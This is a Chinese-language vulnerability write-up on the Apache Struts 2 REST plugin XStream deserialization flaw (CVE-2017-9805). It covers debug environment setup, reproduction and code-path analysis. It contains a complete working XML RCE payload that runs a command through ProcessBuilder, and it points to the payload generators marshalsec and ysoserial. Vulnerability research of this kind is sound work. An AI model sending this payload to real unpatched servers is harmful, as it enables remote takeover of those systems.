0. 概述
2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险。
当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。
利用条件:使用REST插件并在受影响版本范围内。 利用方式:攻击者构建恶意数据包远程利用。
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
1. 调试环境搭建
去官网下载完整的漏洞版本源码包并解压:
http://mirrors.tuna.tsinghua.edu.cn/apache/struts/2.5.12/struts-2.5.12-all.zip。
在IntelliJ IDEA工作目录新建一个文件夹Struts2-VulnTest
,把源码包中src/apps/rest-showcase整个文件夹拷贝到Struts2-VulnTest
下。
1.1 设置项目结构
使用IntelliJ IDEA打开Struts2-VulnTest
文件夹,然后打开File -> Project Structure 进行必要设置。点击左侧的Project菜单,在ProjectSDK中设置一个JavaSDK。
点击左侧的Modules菜单,点击+号,选择Import Module,把rest-showcase目录添加为一个Maven Module,一直Next就可以了,IDEA会自动识别出其中的Web架构,并识别出各个文件夹的用途,可以在右侧自己手工指定每一个文件夹的用途。
Tips: 1. 在IDEA中,Project下可以有多个Module,相当于Eclipse中Workspace下的多个Project。 2. IDEA需要预先配置好Maven、Tomcat等环境,具体配置方法自行百度。
点击左侧的Facets菜单,此时可以看到中间列表上应该已经有一个Web(struts2-rest-showcase)架构了。如果没有的话点击+号手工添加一下,在添加菜单中选择Web,再选择指定的Module,手工把rest-showcase识别为Web架构。
点击左侧的Artifacts菜单,设置构建选项,基本上按照默认设置就可以了。struts2-rest-showcase:war exploded
输出路径为...Struts2-VulnTest/rest-showcase/target/struts2-rest-showcase
。struts2-rest-showcase:war
输出路径为...Struts2-VulnTest/rest-showcase/target
。
设置完成后,点击OK。然后在项目文件树中,右击pom.xml,选择Maven -> Reimport 导入类库。
1.2 设置启动选项
接下来配置容器启动选项,选择菜单中的Run -> Edit Configurations,点击+号,选择TomcatServer -> Local。
在右侧将名称设置为Struts2-rest-showcase-TestServer
。在Server选项卡中设置Tomcat的一些配置选项,JRE选择1.8。然后在Deployment选项卡中点击+号,指定一个Artifact作为启动容器时的部署源。设置Application context,设置为该应用的访问路径,如无特殊需求,保留默认即可。
Tips:Java SDK 选择1.8,测试1.7.0_71中未复现成功,在1.8.0_102中成功复现了。
然后点击菜单,Run -> Run ‘Struts2-rest-showcase-TestServer’,进行项目编译并启动Module struts2-rest-showcase。
不出意外可以看到浏览器成功访问到rest-showcase应用:
1.3 附加源码
点击项目结构树中的External Libraries,选择 Maven: org.apache.struts:struts2-rest-plugin:2.5.12
,随便点开一个class,在右侧文件窗口右上角点击Download Sources,自动下载类库对应的源码。
之后就可以在源码中下断点,进行Debug。
2. 调试分析
2.1 漏洞复现
在页面http://localhost:8088/orders/3/edit中点击Submit,拦截HTTP请求并将请求体改为POC Payload,同时将Content-Type Header改为application/xml。
POC Payload为:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
请求发出后,可以看到命令被成功执行,弹出了计算器:
2.2 漏洞分析
根据官方公告描述漏洞是出现在XStreamHandler中对xml内容进行反序列化过程出现的漏洞,XStreamHandler类主要有fromObject()/toObject()两个方法。我们在toObject()中下一个断点,可以看到上层调用栈中,ContentTypeInterceptor类
会根据请求包的Content-Type
选择对应的Handler进行处理。当Content-Type为”application/xml”时,调用XStreamHandler.toObject()
。
在XStreamHandler.toObject()中,调用 XStream.fromXML() 对xml内容进行反序列化。实际上这个漏洞是XStream中的反序列化问题。
2.2.1 XStream的反序列化漏洞
去年Jenkins三月份修复了一个可通过低权限用户调用API服务致使的命令执行漏洞(CVE-2016-0792)。低权限用户通过构造一个恶意的XML文档并发送至服务端接口,使服务端解析时调用API执行外部命令。
XStream是一个流行的反序列化库,许多主流应用程序,如IRA、Confluence、Bamboo,和Jenkins等中都使用了该库,另外,它还支持多个主流库,如Spring和Struts2等。由于Jenkins将Groovy文件放在类目录中,因此可以借助XML文件来利用该漏洞。有很多应用都使用XStream库,并且将Groovy文件放在类目录中,研究人员可以仿照此方法在很多开源应用中发现同样的漏洞。
所以对于Jenkins(CVE-2016-0792)漏洞来说,漏洞利用过程是
JenkinsAPI -> 接收恶意XML -> XStream库对其进行反序列化 -> 结合groovy.util.Expando类完成反序列漏洞利用
关于XStream反序列化漏洞,详见:https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite
https://github.com/mbechler/marshalsec
POC构造:
用marshalsec(https://github.com/mbechler/marshalsec)生成Payload,工具简单使用方式如下:
java -cpmarshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller 截图和代码较长
Payload生成工具: https://github.com/frohoff/ysoserial ysoserial
Apache Commons Collections <= 3.1
Apache Commons Collections <= 4.0
Groovy <= 2.3.9
Spring Core <= 4.1.4(?)
JDK <=7u21
Apache Commons BeanUtils 1.9.2 + Commons Collections <=3.1 + Commons Logging 1.2 (?)
BeanShell 2.0
Groovy 2.3.9
Jython 2.5.2
C3P0 0.9.5.2
Apache Commons Fileupload <= 1.3.1 (File uploading)
ROME 1.0
MyFaces
JRMPClient/JRMPListener
JSON
Hibernate
References
- https://struts.apache.org/docs/s2-052.html